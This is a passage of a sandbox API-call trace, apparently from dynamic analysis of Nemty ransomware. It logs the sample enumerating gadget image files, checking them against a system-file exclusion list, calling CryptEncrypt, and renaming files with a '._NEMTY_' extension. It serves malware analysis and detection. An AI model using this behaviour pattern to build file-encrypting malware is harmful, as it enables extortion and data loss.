0x4f93620 [0137.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0137.610] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0137.610] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_down.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.611] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0137.611] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0137.611] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.611] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.620] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.620] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.630] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.630] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.630] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.640] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.640] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.640] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.650] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.650] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.650] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.659] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.659] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.659] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.671] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.672] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.674] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.675] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.723] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.723] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.723] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.733] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.733] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.733] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.733] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.743] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.743] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.743] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.816] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.816] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.816] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.816] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.822] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.822] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.822] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.828] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.828] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.829] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340260, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0137.829] CloseHandle (hObject=0xffffffff) returned 0 [0137.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403d0 [0137.829] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0137.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0137.829] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0137.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0137.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0137.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340488 [0137.829] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0137.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340488 | out: hHeap=0x4f90000) returned 1 [0137.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0137.829] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_down.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_down.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_down.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_down.png._nemty_kgobjgd_")) returned 0 [0137.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0137.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403d0 | out: hHeap=0x4f90000) returned 1 [0137.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0137.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0137.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0137.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0137.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0137.829] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401a8 | out: hHeap=0x4f90000) returned 1 [0137.829] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84b7eafd, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x84b7eafd, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x3a7c6a6f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd04, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="hint_over.png", cAlternateFileName="")) returned 1 [0137.829] lstrcmpiW (lpString1="hint_over.png", lpString2=".") returned 1 [0137.829] lstrcmpiW (lpString1="hint_over.png", lpString2="..") returned 1 [0137.829] lstrcmpiW (lpString1="hint_over.png", lpString2="...") returned 1 [0137.829] lstrcmpiW (lpString1="hint_over.png", lpString2="windows") returned -1 [0137.830] lstrcmpiW (lpString1="hint_over.png", lpString2="$RECYCLE.BIN") returned 1 [0137.830] lstrcmpiW (lpString1="hint_over.png", lpString2="rsa") returned -1 [0137.830] lstrcmpiW (lpString1="hint_over.png", lpString2="NTDETECT.COM") returned -1 [0137.830] lstrcmpiW (lpString1="hint_over.png", lpString2="ntldr") returned -1 [0137.830] lstrcmpiW (lpString1="hint_over.png", lpString2="MSDOS.SYS") returned -1 [0137.830] lstrcmpiW (lpString1="hint_over.png", lpString2="IO.SYS") returned -1 [0137.830] lstrcmpiW (lpString1="hint_over.png", lpString2="boot.ini") returned 1 [0137.830] lstrcmpiW (lpString1="hint_over.png", lpString2="boot.ini") returned 1 [0137.830] lstrcmpiW (lpString1="hint_over.png", lpString2="AUTOEXEC.BAT") returned 1 [0137.830] lstrcmpiW (lpString1="hint_over.png", lpString2="ntuser.dat") returned -1 [0137.830] lstrcmpiW (lpString1="hint_over.png", lpString2="desktop.ini") returned 1 [0137.830] lstrcmpiW (lpString1="hint_over.png", lpString2="CONFIG.SYS") returned 1 [0137.830] lstrcmpiW (lpString1="hint_over.png", lpString2="RECYCLER") returned -1 [0137.830] lstrcmpiW (lpString1="hint_over.png", lpString2="BOOTSECT.BAK") returned 1 [0137.830] lstrcmpiW (lpString1="hint_over.png", lpString2="bootmgr") returned 1 [0137.830] lstrcmpiW (lpString1="hint_over.png", lpString2="programdata") returned -1 [0137.830] lstrcmpiW (lpString1="hint_over.png", lpString2="appdata") returned 1 [0137.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0137.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hint_over.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0137.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hint_over.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hint_over.png", lpUsedDefaultChar=0x0) returned 13 [0137.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0137.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hint_over.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0137.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hint_over.png", cchWideChar=13, lpMultiByteStr=0x653ebd0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hint_over.png", lpUsedDefaultChar=0x0) returned 13 [0137.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0137.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0137.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0137.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hint_over.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0137.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hint_over.png", cchWideChar=13, lpMultiByteStr=0x653ec20, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hint_over.png", lpUsedDefaultChar=0x0) returned 13 [0137.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0137.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0137.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hint_over.png", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0137.830] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="hint_over.png", cchWideChar=13, lpMultiByteStr=0x653ec58, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hint_over.png", lpUsedDefaultChar=0x0) returned 13 [0137.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0137.830] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63401a8 [0137.830] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0137.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0137.831] Sleep (dwMilliseconds=0x5) [0137.844] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x5ce3a30, dwHighDateTime=0x1d561e8)) [0137.849] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x5ce3a30, dwHighDateTime=0x1d561e8)) [0137.867] GetLastError () returned 0x5 [0137.869] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0137.871] GetLastError () returned 0x5 [0137.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0137.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0137.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0137.872] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0137.872] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0137.872] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0137.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340260 [0137.872] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340260, pcchString=0x653e91c | out: pszString="a4mRnpgsJdkQ7NWfqeUpKjxCU+mSNyN/JFtQKqpvvDET9osb7AAAJTOZzjVT8TKr\r\nRxYc5ti2usN8jrUZIQqm7Yb9pbizkiu2uxsoz+gtOsPU5Rsw8DNyXKe3P4juB21G\r\nmcsOguxUU+laZltMctUETuZP4V9fWB7IelVGpJdHhuxh3e6sxaabajLusfD1U6rq\r\nS4T383EfFKP14L63+Q8d09XBhwzUQiTLo2Z6s0i343lP+lXCKFoMgkEaK10GIOZ6\r\nOFAzXvsjpW1Eb5eXRHuPekYKH+n1NfEF5otLwNDnbq8XZ8YzNlUGt2SvYD72xRox\r\nVBOSBodfbOpNlP1P4shdPQ==\r\n", pcchString=0x653e91c) returned 1 [0137.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0137.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0137.872] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0137.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0137.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340260 [0137.872] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0137.872] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\PicturePuzzle.Gadget\\Images\\hint_over.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\picturepuzzle.gadget\\images\\hint_over.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0137.873] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0137.873] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0137.873] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.873] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.882] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.882] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.882] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.972] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.972] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.972] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.972] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0137.982] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.982] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0137.982] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0137.982] ReadFile (in: 